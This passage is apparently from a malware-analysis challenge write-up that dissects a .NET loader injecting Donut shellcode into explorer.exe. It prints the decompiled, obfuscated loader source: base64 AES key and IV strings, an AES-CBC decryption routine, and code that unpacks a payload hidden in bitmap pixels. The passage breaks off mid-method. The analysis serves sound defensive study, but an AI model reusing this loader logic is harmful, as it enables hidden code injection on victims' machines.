<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fp2Nc3cmaqTuFAhJigU1e%2Fimage.png?alt=media&#x26;token=9b1468a0-cf4f-4d60-b109-785960dc78bc" alt=""><figcaption></figcaption></figure>

6. What's the built-in main target process path executable that the code is trying to inject to? Provide the full path!

Back to the any run, we can see that the other process created with the parent process is powershell is the<br>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fjs00kukXlgPRU9ujI5SL%2Fimage.png?alt=media&#x26;token=6ec0a996-c214-4805-891d-136bd8771893" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FlozPpx7Y8XHyawUfHglb%2Fimage.png?alt=media&#x26;token=b715c0e6-d98e-4a73-96a4-f24afd509592" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FGnT7I8cmInhzsNjenH4Z%2Fimage.png?alt=media&#x26;token=8d54d5b3-f76b-48f3-895d-4955e6ba3cf6" alt=""><figcaption></figcaption></figure>

7. What's the resource name (in the executable) that hold the encrypted buffer to be injected into that process?

Write the C# code to get the resource inside the binary we already save from previous powershell script.

```csharp
using System;
using System.Reflection;

class Program
{
    static void Main(string[] args)
    {
        string path = "decrypted_payload.bin";

        var assembly = Assembly.LoadFile(path);

        foreach (var name in assembly.GetManifestResourceNames())
            Console.WriteLine(name);
    }
}

```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FCif3bJWtWR7XyIpCtovX%2Fimage.png?alt=media&#x26;token=44a6bab1-f6cc-4e21-8b3b-234fdf2320aa" alt=""><figcaption></figcaption></figure>

And we now know the resource name

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F4abuhZWzPsNjiRYKPpUo%2Fimage.png?alt=media&#x26;token=50753d3a-ab03-4bef-bcca-4eace0ef22cf" alt=""><figcaption></figcaption></figure>

8. The real buffer to be injected seems to be a Donut Shellcode. What's the SHA256 of the donut shellcode? Answer in a hexadecimal format.

In the uncompiled CSharp we found, we can see the process injection is like

```
// Load resource
byte[] encryptedResource = Properties.Resources.ResourceName; // or Assembly.GetManifestResourceStream

// Decrypt it
byte[] decryptedShellcode = DecryptFunction(encryptedResource, key, iv);

// Inject
AzeroFloid("C:\\Windows\\SysWOW64\\explorer.exe", decryptedShellcode);
```

To know the actual code, we can use ILSpy or DNSpy. Because im use MacOS, im using [ILSpy](https://github.com/icsharpcode/ILSpy) which is compatible with this. And I found some interesting code.

<details>

<summary>Key/IV Setup</summary>

```csharp
using System;
using System.Text;

internal class zSDHBfDtLTTQgKnLJBjvjAfSMVbxgopeSzXBoBZHHsmKufBcoewDMmYYMKVGefmwDPXGNMwhBBNQovyGtZjcSLsFBYODGsDCgPgEhUoBIpbkzhJrmonfWkES
{
	public static string xsfOXSAiYkKyoTzyKHuDJhgtoxrrfyGWlohPPADPOTloxkcsPOuoPaiplLzAAidAENnZLJIkdEOQVSVduYCqdrglgRDdadoFP;

	public static string LJJXdGgfklllrttQvfCGNwmHcTUfFkZqjbkilgrrwkTgVZOyknEYMYcoxcVjMaAalUcqjkEpOkkCDfMcfvVsFbDkZVLjkhFvJ;

	public static string SVaWxpZJokCOzKrqSeqfiujqSrnzufGEPSLkLgHgVJrRbwAluTrdopByLJegbAojDXZGZgEMwkkzcrpwQbeBNCqzrmybbAevu;

	public static string inexTlnoFHefcvtuIpavNvbGzoNHCKVfPeUelYXQRmiUmtpQeHtleZHMmxXFyFMUMYqXBpjJsjEBnhtgZWDVrKaPwhRNbrrlz;

	public zSDHBfDtLTTQgKnLJBjvjAfSMVbxgopeSzXBoBZHHsmKufBcoewDMmYYMKVGefmwDPXGNMwhBBNQovyGtZjcSLsFBYODGsDCgPgEhUoBIpbkzhJrmonfWkES()
	{
		if (0 == 1)
		{
		}
		base._002Ector();
	}

	static zSDHBfDtLTTQgKnLJBjvjAfSMVbxgopeSzXBoBZHHsmKufBcoewDMmYYMKVGefmwDPXGNMwhBBNQovyGtZjcSLsFBYODGsDCgPgEhUoBIpbkzhJrmonfWkES()
	{
		int num = 0;
		if (num == 1)
		{
		}
		xsfOXSAiYkKyoTzyKHuDJhgtoxrrfyGWlohPPADPOTloxkcsPOuoPaiplLzAAidAENnZLJIkdEOQVSVduYCqdrglgRDdadoFP = Encoding.UTF8.GetString(Convert.FromBase64String("YjBhZjBiYzdhZmZmNDFkYw=="));
		LJJXdGgfklllrttQvfCGNwmHcTUfFkZqjbkilgrrwkTgVZOyknEYMYcoxcVjMaAalUcqjkEpOkkCDfMcfvVsFbDkZVLjkhFvJ = Encoding.UTF8.GetString(Convert.FromBase64String("ZjA1MDg5MmRiN2Y3NDUwNg=="));
		SVaWxpZJokCOzKrqSeqfiujqSrnzufGEPSLkLgHgVJrRbwAluTrdopByLJegbAojDXZGZgEMwkkzcrpwQbeBNCqzrmybbAevu = VCOpEsXzodnGEZodVpAjKvfwuFHhteGiogHuZTrpAWjxbKTVkLrzegAAxrVYKQgjxerxrUdbYlJNmHvJLLXHNgdhGhWIYsEKQZZXtwDpIpATxNnPWlmZSzwq.GmyBlvpJmXxAomnVcUmNKzLKRRTPaszLjJQnMGjPPJJRxElDHmZLPonhBNKuBAITxLqFwZi("BXvPtcfD+FI2+3OOycox/iZN41xbQfnfFBAQhQ6bkIE8RSFE0mITMHs+u+VAU1C4", xsfOXSAiYkKyoTzyKHuDJhgtoxrrfyGWlohPPADPOTloxkcsPOuoPaiplLzAAidAENnZLJIkdEOQVSVduYCqdrglgRDdadoFP, LJJXdGgfklllrttQvfCGNwmHcTUfFkZqjbkilgrrwkTgVZOyknEYMYcoxcVjMaAalUcqjkEpOkkCDfMcfvVsFbDkZVLjkhFvJ);
		inexTlnoFHefcvtuIpavNvbGzoNHCKVfPeUelYXQRmiUmtpQeHtleZHMmxXFyFMUMYqXBpjJsjEBnhtgZWDVrKaPwhRNbrrlz = VCOpEsXzodnGEZodVpAjKvfwuFHhteGiogHuZTrpAWjxbKTVkLrzegAAxrVYKQgjxerxrUdbYlJNmHvJLLXHNgdhGhWIYsEKQZZXtwDpIpATxNnPWlmZSzwq.GmyBlvpJmXxAomnVcUmNKzLKRRTPaszLjJQnMGjPPJJRxElDHmZLPonhBNKuBAITxLqFwZi("OOEsGf2GCox6MX4B0qoGt37IlXC3ylRvkinrlhct0m1ZZD2Qz11TAM2D4oUU7a3r", xsfOXSAiYkKyoTzyKHuDJhgtoxrrfyGWlohPPADPOTloxkcsPOuoPaiplLzAAidAENnZLJIkdEOQVSVduYCqdrglgRDdadoFP, LJJXdGgfklllrttQvfCGNwmHcTUfFkZqjbkilgrrwkTgVZOyknEYMYcoxcVjMaAalUcqjkEpOkkCDfMcfvVsFbDkZVLjkhFvJ);
	}

	public static void FQbUkOjBKw()
	{
	}

	public static void vFHtCoVDAI()
	{
	}

	public static void eXzrJOHSSZ()
	{
	}

	public static void yNBNykIHZg()
	{
	}

	public static void keTDDjqvsF()
	{
	}

	public static void ZrpLLIqKlv()
	{
	}

	public static void hrILYHeTVr()
	{
	}

	public static void GnDtxZeWNA()
	{
	}

	public static void ymzmahyQcQ()
	{
	}

	public static void TXwDZSwhFV()
	{
	}

	public static void exAbZLNWnL()
	{
	}

	public static void DuXLXUSvLQ()
	{
	}

	public static void jnRexIRatE()
	{
	}

	public static void DWqSvbMyno()
	{
	}

	public static void tBDrmzaLFf()
	{
	}

	public static void aawOLRFvDr()
	{
	}

	public static void TNCIhGdepW()
	{
	}

	public static void huiwxHKASY()
	{
	}

	public static void HguoECzCgE()
	{
	}

	public static void vrUVuGZVjF()
	{
	}

	public static void vVvJXFRaqe()
	{
	}

	public static void gfCEJNsodE()
	{
	}

	public static void hBYLBQzmbR()
	{
	}

	public static void IPqmDMLLqY()
	{
	}

	public static void LzlcxpOqmH()
	{
	}

	public static void nLREyTXJih()
	{
	}

	public static void gEZzvrOqaX()
	{
	}

	public static void cHXfTIqVnl()
	{
	}

	public static void biatDWYMNK()
	{
	}

	public static void ObDjSgzLGg()
	{
	}

	public static void AxqpFGOMKQ()
	{
	}

	public static void DbvWfXEFWy()
	{
	}

	public static void scCqibdNmN()
	{
	}

	public static void iEphKESLOW()
	{
	}

	public static void imcXgMFGeV()
	{
	}

	public static void BUPhNyVZgD()
	{
	}

	public static void CazWIYMolB()
	{
	}

	public static void eTQZqgZFjw()
	{
	}

	public static void vwIrlnPhtl()
	{
	}

	public static void ITEktiMfph()
	{
	}

	public static void ZrvDQIePRG()
	{
	}

	public static void ypQJifrhKu()
	{
	}

	public static void jEUZSloFGh()
	{
	}

	public static void uUqbxebfAD()
	{
	}

	public static void jZqMNsdVcn()
	{
	}

	public static void QEuUYuwvLF()
	{
	}

	public static void tyjJmEZOme()
	{
	}

	public static void emGhkjohmz()
	{
	}

	public static void itCsrPAvdc()
	{
	}

	public static void IFuVkKQGAi()
	{
	}

	public static void toIYjEXnKO()
	{
	}

	public static void fojlxaVRsx()
	{
	}

	public static void dELkvzSLWz()
	{
	}

	public static void tIHdgTKEiN()
	{
	}

	public static void RnKoWtviyk()
	{
	}

	public static void PZodfODyCK()
	{
	}

	public static void LmqkvxGffD()
	{
	}

	public static void prIEFQTwoc()
	{
	}

	public static void dJmMKuuEYr()
	{
	}

	public static void pmbybFXATy()
	{
	}

	public static void MqcVUxqJyo()
	{
	}

	public static void UhkAHcZDAa()
	{
	}

	public static void dchNndpjDZ()
	{
	}

	public static void StCPpMGrRm()
	{
	}

	public static void dLgJxicBRY()
	{
	}

	public static void FtZSvKjpHR()
	{
	}

	public static void hgfyvAEvlU()
	{
	}

	public static void wILnWrWxqf()
	{
	}

	public static void bOsEtztJtF()
	{
	}

	public static void DrKaeXFHnW()
	{
	}

	public static void EGpWCXIMVd()
	{
	}

	public static void NLYBQtOBeW()
	{
	}

	public static void gUbGqeXLiZ()
	{
	}

	public static void MojtBuyvbw()
	{
	}

	public static void RHOqRSsijL()
	{
	}

	public static void ieDrPJFJGy()
	{
	}

	public static void aWEWrzBEaw()
	{
	}

	public static void UszIfzgLPy()
	{
	}

	public static void LPBwQHKSDR()
	{
	}

	public static void OPPDwUdRYr()
	{
	}

	public static void qNiNRQEVlq()
	{
	}

	public static void DUUiMkvhfJ()
	{
	}

	public static void OJaiIfCWll()
	{
	}

	public static void voMxhYGOFa()
	{
	}

	public static void cPHnoTUHRl()
	{
	}

	public static void zWMpCHMZfL()
	{
	}

	public static void nIJaUoiwaO()
	{
	}

	public static void EGBeGZcNUO()
	{
	}

	public static void kVfaLzBxUA()
	{
	}

	public static void lHJTMtfGsZ()
	{
	}

	public static void LyHcHSuHID()
	{
	}

	public static void FYeqBsDJov()
	{
	}

	public static void NKBADWXIsm()
	{
	}

	public static void TvvVcMoctT()
	{
	}

	public static void fTPrUmDssu()
	{
	}

	public static void QwrWmbWhzL()
	{
	}

	public static void VMpvKjDjoO()
	{
	}

	public static void dBpvpTVkFq()
	{
	}

	public static void sEpXwwdyIb()
	{
	}

	public static void QhCIXtEtHL()
	{
	}
}
```

</details>

<details>

<summary>Encryption Process</summary>

```csharp
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

internal class VCOpEsXzodnGEZodVpAjKvfwuFHhteGiogHuZTrpAWjxbKTVkLrzegAAxrVYKQgjxerxrUdbYlJNmHvJLLXHNgdhGhWIYsEKQZZXtwDpIpATxNnPWlmZSzwq
{
	public static byte[] ajRkYvdFGYXnIyqphHYyGkKSUgLMgFRrDJWjFtrnlVnzQahyVXRlAXKQzYpRJqzbgFJZBhJ(byte[] NpLmKXlcTZnRiNGQFYgJHeAEVwlskqiWOndWPLaToVwSvzqnAPeavxcJPgqnLTSCQqcUJJbTYnvLHHivgYRumhBqlugIuMhvdTbe, string wvEQOkchcqbhXVhNbxqJOLJpCsylfaIOGeZKuaGbeuoUsZKzEutGDspKLonvLQcbInBTWwtaQoEuxOWDIZHKGclnOoYfNlpormmf, string yQDhbtPoNVnXsKNMjsvGcnfHynnFYqdkCRfRvzInmWzTabNcxDfYRGckLVJNfkqxRdvAEWrJJiufNlHwAkhvlesWOUfzQUhbGcbX)
	{
		int num = 0;
		if (num == 1)
		{
		}
		if (NpLmKXlcTZnRiNGQFYgJHeAEVwlskqiWOndWPLaToVwSvzqnAPeavxcJPgqnLTSCQqcUJJbTYnvLHHivgYRumhBqlugIuMhvdTbe == null || NpLmKXlcTZnRiNGQFYgJHeAEVwlskqiWOndWPLaToVwSvzqnAPeavxcJPgqnLTSCQqcUJJbTYnvLHHivgYRumhBqlugIuMhvdTbe.Length == 0)
		{
			throw new ArgumentException("Encrypted data is null or empty");
		}
		if (string.IsNullOrEmpty(wvEQOkchcqbhXVhNbxqJOLJpCsylfaIOGeZKuaGbeuoUsZKzEutGDspKLonvLQcbInBTWwtaQoEuxOWDIZHKGclnOoYfNlpormmf))
		{
			throw new ArgumentNullException("key");
		}
		if (string.IsNullOrEmpty(yQDhbtPoNVnXsKNMjsvGcnfHynnFYqdkCRfRvzInmWzTabNcxDfYRGckLVJNfkqxRdvAEWrJJiufNlHwAkhvlesWOUfzQUhbGcbX))
		{
			throw new ArgumentNullException("iv");
		}
		byte[] bytes = Encoding.UTF8.GetBytes(wvEQOkchcqbhXVhNbxqJOLJpCsylfaIOGeZKuaGbeuoUsZKzEutGDspKLonvLQcbInBTWwtaQoEuxOWDIZHKGclnOoYfNlpormmf);
		byte[] bytes2 = Encoding.UTF8.GetBytes(yQDhbtPoNVnXsKNMjsvGcnfHynnFYqdkCRfRvzInmWzTabNcxDfYRGckLVJNfkqxRdvAEWrJJiufNlHwAkhvlesWOUfzQUhbGcbX);
		using Aes aes = Aes.Create();
		aes.Key = bytes;
		aes.IV = bytes2;
		aes.Mode = CipherMode.CBC;
		aes.Padding = PaddingMode.PKCS7;
		using ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
		using MemoryStream stream = new MemoryStream(NpLmKXlcTZnRiNGQFYgJHeAEVwlskqiWOndWPLaToVwSvzqnAPeavxcJPgqnLTSCQqcUJJbTYnvLHHivgYRumhBqlugIuMhvdTbe);
		using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read);
		using MemoryStream memoryStream = new MemoryStream();
		cryptoStream.CopyTo(memoryStream);
		return memoryStream.ToArray();
	}

	public static string GmyBlvpJmXxAomnVcUmNKzLKRRTPaszLjJQnMGjPPJJRxElDHmZLPonhBNKuBAITxLqFwZi(string wLwXaPUmmGqhOtOVVwJMYWPnpbQuLoFgHdCZsqmrHAxNlsTAIPviMnkAVjIZZzAYajzLQOCEjrfxybcWhpLVSwtuScdjInshZzNc, string SiKUnRZviMcUgLSJOFfDPfSNKtVWYXyYoaeYERIaxYlgajcWvJsutjmMqWjTVcwkodFgHTeXWefRTLNAqZBpFdEfNrIHHPfuBbSX, string EWoBEuypdvSEjIDWBgFkyAtqkxphZLpSTPWuKZLkFpbsyexZliTuvHyeCYrherpsfaKtLimBvuFjybRgZqVRRUwlrSRLIEfoaImy)
	{
		int num = 0;
		if (num == 1)
		{
		}
		if (string.IsNullOrEmpty(wLwXaPUmmGqhOtOVVwJMYWPnpbQuLoFgHdCZsqmrHAxNlsTAIPviMnkAVjIZZzAYajzLQOCEjrfxybcWhpLVSwtuScdjInshZzNc))
		{
			throw new ArgumentNullException("encryptedBase64");
		}
		byte[] bytes = ajRkYvdFGYXnIyqphHYyGkKSUgLMgFRrDJWjFtrnlVnzQahyVXRlAXKQzYpRJqzbgFJZBhJ(Convert.FromBase64String(wLwXaPUmmGqhOtOVVwJMYWPnpbQuLoFgHdCZsqmrHAxNlsTAIPviMnkAVjIZZzAYajzLQOCEjrfxybcWhpLVSwtuScdjInshZzNc), SiKUnRZviMcUgLSJOFfDPfSNKtVWYXyYoaeYERIaxYlgajcWvJsutjmMqWjTVcwkodFgHTeXWefRTLNAqZBpFdEfNrIHHPfuBbSX, EWoBEuypdvSEjIDWBgFkyAtqkxphZLpSTPWuKZLkFpbsyexZliTuvHyeCYrherpsfaKtLimBvuFjybRgZqVRRUwlrSRLIEfoaImy);
		return Encoding.UTF8.GetString(bytes);
	}

	public VCOpEsXzodnGEZodVpAjKvfwuFHhteGiogHuZTrpAWjxbKTVkLrzegAAxrVYKQgjxerxrUdbYlJNmHvJLLXHNgdhGhWIYsEKQZZXtwDpIpATxNnPWlmZSzwq()
	{
		if (0 == 1)
		{
		}
		base._002Ector();
	}

	public static void twOkNHbBij()
	{
	}

	public static void AXtLbNyPjE()
	{
	}

	public static void QcQWDJhszv()
	{
	}

	public static void oqJOxEbBPv()
	{
	}

	public static void bQLWJarfVb()
	{
	}

	public static void SUfKorFRGe()
	{
	}

	public static void AJcNVknEox()
	{
	}

	public static void LXaNDZqUmD()
	{
	}

	public static void rbwxDtkZAg()
	{
	}

	public static void YjUKVsOYaz()
	{
	}

	public static void MNRypVTsho()
	{
	}

	public static void aLEdMymEjB()
	{
	}

	public static void ZoehyCcqRk()
	{
	}

	public static void lrTNQEkYiH()
	{
	}

	public static void ASSlfnERYw()
	{
	}

	public static void fkPzAyIJaN()
	{
	}

	public static void SDAWdJRRmh()
	{
	}

	public static void oovBbgvSck()
	{
	}

	public static void XlrvebCunr()
	{
	}

	public static void WAYvPXrWiv()
	{
	}

	public static void wNEQhROnyt()
	{
	}

	public static void dPHPPHlfRb()
	{
	}

	public static void hwEUlOpaMd()
	{
	}

	public static void PzKGOkHAnn()
	{
	}

	public static void npWTogTiFh()
	{
	}

	public static void LmegoZiJFt()
	{
	}

	public static void COAuEDfabF()
	{
	}

	public static void aKSEORzKGf()
	{
	}

	public static void VguEsDvDrO()
	{
	}

	public static void bXVUKzOCpL()
	{
	}

	public static void aThZhbtAsw()
	{
	}

	public static void AxdAyvtVcb()
	{
	}

	public static void iCInDcPYTp()
	{
	}

	public static void dXvUebZvxq()
	{
	}

	public static void jVlUoEUuvp()
	{
	}

	public static void fTAoDykUwf()
	{
	}

	public static void mvGctDbiww()
	{
	}

	public static void vYyLSnqNZZ()
	{
	}

	public static void huCEjjwhrF()
	{
	}

	public static void RfYreNoiBK()
	{
	}

	public static void CMYZThvPvp()
	{
	}

	public static void hxUwYSTcTk()
	{
	}

	public static void gUQQFqZgGf()
	{
	}

	public static void YimoxuvDKb()
	{
	}

	public static void OHLbyukCtm()
	{
	}

	public static void TmoqEHViuD()
	{
	}

	public static void ioiqrYkGZD()
	{
	}

	public static void wqrRvziPsk()
	{
	}

	public static void fwNulLTVKP()
	{
	}

	public static void zmihTAyvKz()
	{
	}

	public static void jEDPPDVxVe()
	{
	}

	public static void zfQjyLAOfF()
	{
	}

	public static void fpWjdkhkYV()
	{
	}

	public static void aNfTbBTYEH()
	{
	}

	public static void QwaFptwZIh()
	{
	}

	public static void ZKpeuUHtLF()
	{
	}

	public static void wKyZdMaXiW()
	{
	}

	public static void SCjxOIprUK()
	{
	}

	public static void NhBRVqxayh()
	{
	}

	public static void TzmYlgYaBD()
	{
	}

	public static void syRMoxARpL()
	{
	}

	public static void FqzbRojHdN()
	{
	}

	public static void oZybdsplmI()
	{
	}

	public static void JoPqroqPCy()
	{
	}

	public static void QGKMBDalgX()
	{
	}

	public static void WqWNptaQIW()
	{
	}

	public static void hpFHcqAiJD()
	{
	}

	public static void XueFXHoLzz()
	{
	}

	public static void reeoLssbaY()
	{
	}

	public static void oAgGrAadKl()
	{
	}

	public static void dRCDZCmrQH()
	{
	}

	public static void eorjEdkqVJ()
	{
	}

	public static void XyiLoxnynw()
	{
	}

	public static void GlanvABApj()
	{
	}

	public static void gbltUZiWco()
	{
	}

	public static void pKhbnFJQoB()
	{
	}

	public static void oOdtaSndOe()
	{
	}

	public static void BJbMCWmORp()
	{
	}

	public static void orwZgWdZZP()
	{
	}

	public static void QKmNUsXRsb()
	{
	}

	public static void LfiYMFJvzr()
	{
	}

	public static void tUZZmXrene()
	{
	}

	public static void PodYnQxnSj()
	{
	}

	public static void ZvwPDjixmA()
	{
	}

	public static void nIAIwVLnAW()
	{
	}

	public static void aSEomwckKW()
	{
	}

	public static void ivDprYykvd()
	{
	}

	public static void PUSMQgOuBr()
	{
	}

	public static void fkMVjgQiDh()
	{
	}

	public static void hYNpsRfkry()
	{
	}

	public static void xASxhgaSxf()
	{
	}

	public static void IHIsRYJHfl()
	{
	}

	public static void hpGoWQgCtZ()
	{
	}

	public static void bDdcUEspOc()
	{
	}

	public static void gYLyzzquyu()
	{
	}

	public static void ixefrhUEBr()
	{
	}

	public static void ZxyxdeDFxm()
	{
	}

	public static void GuTcejEiPw()
	{
	}

	public static void AMdZRDyXLN()
	{
	}

	public static void JONwdIznuu()
	{
	}
}
```

</details>

<details>

<summary>Bitmap</summary>

```csharp
using System.Drawing;
using System.IO;
using System.Reflection;

internal class uWvrSGcCJYhRGWwKzhomHVKNLGDtBqIMxeAdplCUqFixnINnSLNFqZqymIGlcIasqvuBvsunEuVbNnzdTpAQDcvxObQHFqSIEPhSnlSzqzaWeoLZiDsMhkPn
{
	private static byte[] aWNtCNIoCmxXgHPHxaAdbytzqRybXfBuaTSrxzXCQMuRRNTAOLpgKLlBDodKoGqwLcXmPxj(string YdXmpeBHCYYnmQuKoIqNjvnnkwYfOQGLqBqdMyWxbGBLqteFqsIDyKZCPKcTgwSLrmXKzrXQMTMDUBWRrsPwidmGBOncvdqFNPtd)
	{
		int num = 0;
		if (num == 1)
		{
		}
		Stream? manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(YdXmpeBHCYYnmQuKoIqNjvnnkwYfOQGLqBqdMyWxbGBLqteFqsIDyKZCPKcTgwSLrmXKzrXQMTMDUBWRrsPwidmGBOncvdqFNPtd);
		MemoryStream memoryStream = new MemoryStream();
		manifestResourceStream.CopyTo(memoryStream);
		return memoryStream.ToArray();
	}

	private static byte[] vtgYuRREXwInNlBOGwDoariLeVvJChPehTvYlQbqlIIffZojBCYrmfddkuUywibQHEgUQCC(byte[] PumdsJdFeGlhaiyRcPsNQWCTdGSyBTutZajWZbLuhPPSkabHjMdexPLTRsZLQFelmSiZZBRaeXGbgKJcEkpPPpVjopfHcZDBKEGs)
	{
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0023: Expected O, but got Unknown
		int num = 0;
		if (num == 1)
		{
		}
		Bitmap val = new Bitmap((Stream)new MemoryStream(PumdsJdFeGlhaiyRcPsNQWCTdGSyBTutZajWZbLuhPPSkabHjMdexPLTRsZLQFelmSiZZBRaeXGbgKJcEkpPPpVjopfHcZDBKEGs));
		int width = ((Image)val).Width;
		int height = ((Image)val).Height;
		byte[] array = new byte[width * height];
		int num2 = 0;
		for (int i = 0; i < height; i++)
		{
			int num3 = 0;
			while (num3 < width && num2 < array.Length)
			{
				array[num2] = (byte)((255 - val.GetPixel(num3, i).R) ^ 0x72);
				num3++;
				num2++;
			}
		}
		return array;
	}

	public static void SbIHUcaAjJMgJWhFqovWWYLJvkYeteqBeqkCCHUNpvaFDYXfSYlwjJvUqYmJeVgeskbtMEd()
	{
		int num = 0;
		if (num == 1)
		{
		}
		byte[] naATALhOKJxQYekcPuNRLNARcdpfmUeHdRVZdbLQopvROhdECRuLzmuzAJRwvcCPFPMgjkZNIXCwsIdVaLDuAtiRwvztjpvmNFlY = vtgYuRREXwInNlBOGwDoariLeVvJChPehTvYlQbqlIIffZojBCYrmfddkuUywibQHEgUQCC(VCOpEsXzodnGEZodVpAjKvfwuFHhteGiogHuZTrpAWjxbKTVkLrzegAAxrVYKQgjxerxrUdbYlJNmHvJLLXHNgdhGhWIYsEKQZZXtwDpIpATxNnPWlmZSzwq.ajRkYvdFGYXnIyqphHYyGkKSUgLMgFRrDJWjFtrnlVnzQahyVXRlAXKQzYpRJqzbgFJZBhJ(aWNtCNIoCmxXgHPHxaAdbytzqRybXfBuaTSrxzXCQMuRRNTAOLpgKLlBDodKoGqwLcXmPxj(zSDHBfDtLTTQgKnLJBjvjAfSMVbxgopeSzXBoBZHHsmKufBcoewDMmYYMKVGefmwDPXGNMwhBBNQovyGtZjcSLsFBYODGsDCgPgEhUoBIpbkzhJrmonfWkES.SVaWxpZJokCOzKrqSeqfiujqSrnzufGEPSLkLgHgVJrRbwAluTrdopByLJegbAojDXZGZgEMwkkzcrpwQbeBNCqzrmybbAevu), zSDHBfDtLTTQgKnLJBjvjAfSMVbxgopeSzXBoBZHHsmKufBcoewDMmYYMKVGefmwDPXGNMwhBBNQovyGtZjcSLsFBYODGsDCgPgEhUoBIpbkzhJrmonfWkES.xsfOXSAiYkKyoTzyKHuDJhgtoxrrfyGWlohPPADPOTloxkcsPOuoPaiplLzAAidAENnZLJIkdEOQVSVduYCqdrglgRDdadoFP, zSDHBfDtLTTQgKnLJBjvjAfSMVbxgopeSzXBoBZHHsmKufBcoewDMmYYMKVGefmwDPXGNMwhBBNQovyGtZjcSLsFBYODGsDCgPgEhUoBIpbkzhJrmonfWkES.LJJXdGgfklllrttQvfCGNwmHcTUfFkZqjbkilgrrwkTgVZOyknEYMYcoxcVjMaAalUcqjkEpOkkCDfMcfvVsFbDkZVLjkhFvJ));
		hZcJcKggUWdmgcmiLzdSgqSfrPwSJlffqQjOzuTdEAxAnGFXMxTbAOLQhXsnnnwIRXWpTxJrGanGTrRKkyglrdFCfsHBbGPqdOJpJpeoOBvAAeXQgHdPhlrO.sukAQhpZkXCeHBbUuSxPHebavQvuDajSxUXpfDxGlwqCCTiEGiupOBhosjfZMVvjOKGNELO(zSDHBfDtLTTQgKnLJBjvjAfSMVbxgopeSzXBoBZHHsmKufBcoewDMmYYMKVGefmwDPXGNMwhBBNQovyGtZjcSLsFBYODGsDCgPgEhUoBIpbkzhJrmonfWkES.inexTlnoFHefcvtuIpavNvbGzoNHCKVfPeUelYXQRmiUmtpQeHtleZHMmxXFyFMUMYqXBpjJsjEBnhtgZWDVrKaPwhRNbrrlz, naATALhOKJxQYekcPuNRLNARcdpfmUeHdRVZdbLQopvROhdECRuLzmuzAJRwvcCPFPMgjkZNIXCwsIdVaLDuAtiRwvztjpvmNFlY);
	}

	public uWvrSGcCJYhRGWwKzhomHVKNLGDtBqIMxeAdplCUqFixnINnSLNFqZqymIGlcIasqvuBvsunEuVbNnzdTpAQDcvxObQHFqSIEPhSnlSzqzaWeoLZiDsMhkPn()
	{
		if (0 == 1)
		{
		}
		base._002Ector();
	}

	public static void ZhLwmIQNvC()
	{
	}

	public static void OvmCxwmFYD()
	{
	}

	public static void iFDKGQIXtO()
	{
	}

	public static void FWEuMiaouI()
	{
	}

	public static void JlqlQmeYZq()
	{
	}

	public static void LboLutEbQv()
	{
	}

	public static void aStGWRQRQp()
	{
	}

	public static void vXlqTXosTt()
	{
	}

	public static void MKXcdEITZs()
	{
	}

	public static void EYyYHQRKoY()
	{
	}

	public static void vmhKUNPXRx()
	{
	}

	public static void emhwJqUqDs()
	{
	}

	public static void jXSyKwzmIc()
	{
	}

	public static void fEdVXACnip()
	{
	}

	public static void OKbCnsRbpr()
	{
	}

	public static void WAgVOytJZy()
	{
	}

	public static void oCoPrAimyi()
	{
	}

	public static void NHioDzWqks()
	{
	}

	public static void FxXrgFyigz()
	{
	}

	public static void gTnKalvmkN()
	{
	}

	public static void jEDgDorSrp()
	{
	}

	public static void CdyGSRFXIM()
	{
	}

	public static void cafZcUuyns()
	{
	}

	public static void dJfwjaUQOS()
	{
	}

	public static void nFQRXcuGRj()
	{
	}

	public static void GyDxLjzDeJ()
	{
	}

	public static void USEZlSYcxR()
	{
	}

	public static void XPjQzwjocZ()
	{
	}

	public static void ANHeLFgHLZ()
	{
	}

	public static void BqLeYubQFe()
	{
	}

	public static void esiZlQpNYo()
	{
	}

	public static void ZkBfiglznG()
	{
	}

	public static void MqqyqGeeSe()
	{
	}

	public static void vtIXViFHSV()
	{
	}

	public static void psJwaqOGWR()
	{
	}

	public static void jBCZsObKIF()
	{
	}

	public static void MlVTTGCEka()
	{
	}

	public static void BDHsqtGTxa()
	{
	}

	public static void SyhaVTQIFg()
	{
	}

	public static void gUYnjewQCt()
	{
	}

	public static void NkvVqFUkIY()
	{
	}

	public static void himINndVXa()
	{
	}

	public static void PTYdUGEtjm()
	{
	}

	public static void WQqemHcmJq()
	{
	}

	public static void ZGaGZYHpAV()
	{
	}

	public static void aBTCEUlsbK()
	{
	}

	public static void bAavbrRiwf()
	{
	}

	public static void lRmHbjTseW()
	{
	}

	public static void YoTolvWOzr()
	{
	}

	public static void vJkYpyFEFH()
	{
	}

	public static void hzTuJjplBv()
	{
	}

	public static void bTofLMHMjG()
	{
	}

	public static void ucIeKCGnsC()
	{
	}

	public static void DoNwOzvyEc()
	{
	}

	public static void gLmeqBvfmC()
	{
	}

	public static void QSuYneQOKh()
	{
	}

	public static void DbTYRMgSqm()
	{
	}

	public static void qjhhzJQEOi()
	{
	}

	public static void gBaPMLTOjK()
	{
	}

	public static void JHNxzeRnnD()
	{
	}

	public static void uCOalGKnyD()
	{
	}

	public static void nlaBacaemf()
	{
	}

	public static void TsJFDJvKIu()
	{
	}

	public static void SCqkNEMaDf()
	{
	}

	public static void aGpFxxGmxx()
	{
	}

	public static void eMbhKcTjwB()
	{
